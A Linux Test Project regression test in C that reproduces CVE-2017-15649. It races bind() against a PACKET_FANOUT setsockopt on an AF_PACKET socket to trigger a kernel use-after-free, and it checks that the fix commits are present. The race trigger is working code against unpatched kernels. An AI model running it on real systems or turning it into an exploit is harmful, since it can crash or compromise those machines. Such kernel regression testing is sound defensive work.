1 // SPDX-License-Identifier: GPL-2.0-or-later
2 /*
3 * Copyright (c) 2018 Richard Palethorpe <rpalethorpe@suse.com>
4 * Original reproducer: https://blogs.securiteam.com/index.php/archives/3484
5 * Other copyrights may apply.
6 *
7 * CVE-2017-15649
8 *
9 * Fixed by the following commits:
10 * 4971613c "packet: in packet_do_bind, test fanout with bind_lock held"
11 * 008ba2a1 "packet: hold bind lock when rebinding to fanout hook"
12 *
13 * See blogpost in copyright notice for more details.
14 */
15 #include <errno.h>
16 #include <sys/types.h>
17 #include <net/if.h>
18 #include <linux/if_packet.h>
19 #include <string.h>
20
21 #include "tst_test.h"
22 #include "tst_fuzzy_sync.h"
23 #include "lapi/if_packet.h"
24
25 static struct tst_fzsync_pair pair;
26 static int fd;
27 static struct sockaddr_ll addr;
28
setup(void)29 void setup(void)
30 {
31 tst_setup_netns();
32 tst_fzsync_pair_init(&pair);
33 }
34
cleanup(void)35 void cleanup(void)
36 {
37 tst_fzsync_pair_cleanup(&pair);
38 }
39
binder(void * unused)40 void *binder(void *unused)
41 {
42 while (tst_fzsync_run_b(&pair)) {
43 tst_fzsync_start_race_b(&pair);
44 bind(fd, (struct sockaddr *)&addr, sizeof(addr));
45 tst_fzsync_end_race_b(&pair);
46 }
47
48 return unused;
49 }
50
run(void)51 void run(void)
52 {
53 int fanout_val = PACKET_FANOUT_ROLLOVER, index;
54 struct ifreq ifr;
55
56 memset(&ifr, 0, sizeof(struct ifreq));
57
58 tst_fzsync_pair_reset(&pair, binder);
59 while (tst_fzsync_run_a(&pair)) {
60 fd = SAFE_SOCKET(AF_PACKET, SOCK_RAW, PF_PACKET);
61
62 strcpy((char *)&ifr.ifr_name, "lo");
63 SAFE_IOCTL(fd, SIOCGIFINDEX, &ifr);
64 index = ifr.ifr_ifindex;
65
66 SAFE_IOCTL(fd, SIOCGIFFLAGS, &ifr);
67 ifr.ifr_flags &= ~(short)IFF_UP;
68 SAFE_IOCTL(fd, SIOCSIFFLAGS, &ifr);
69
70 addr.sll_family = AF_PACKET;
71 /* need something different to rehook && 0 to skip register_prot_hook */
72 addr.sll_protocol = 0x0;
73 addr.sll_ifindex = index;
74
75 tst_fzsync_start_race_a(&pair);
76 setsockopt(fd, SOL_PACKET, PACKET_FANOUT,
77 &fanout_val, sizeof(fanout_val));
78 tst_fzsync_end_race_a(&pair);
79
80 /* UAF */
81 close(fd);
82 }
83
84 tst_res(TPASS, "Nothing bad happened, probably...");
85 }
86
87 static struct tst_test test = {
88 .min_kver = "3.19",
89 .setup = setup,
90 .test_all = run,
91 .cleanup = cleanup,
92 .needs_root = 1,
93 .max_runtime = 180,
94 .needs_kconfigs = (const char *[]) {
95 "CONFIG_USER_NS=y",
96 "CONFIG_NET_NS=y",
97 NULL
98 },
99 .save_restore = (const struct tst_path_val[]) {
100 {"/proc/sys/user/max_user_namespaces", "1024", TST_SR_SKIP},
101 {}
102 },
103 .tags = (const struct tst_tag[]) {
104 {"CVE", "2017-15649"},
105 {"linux-git", "4971613c1639"},
106 {"linux-git", "008ba2a13f2d"},
107 {}
108 }
109 };
110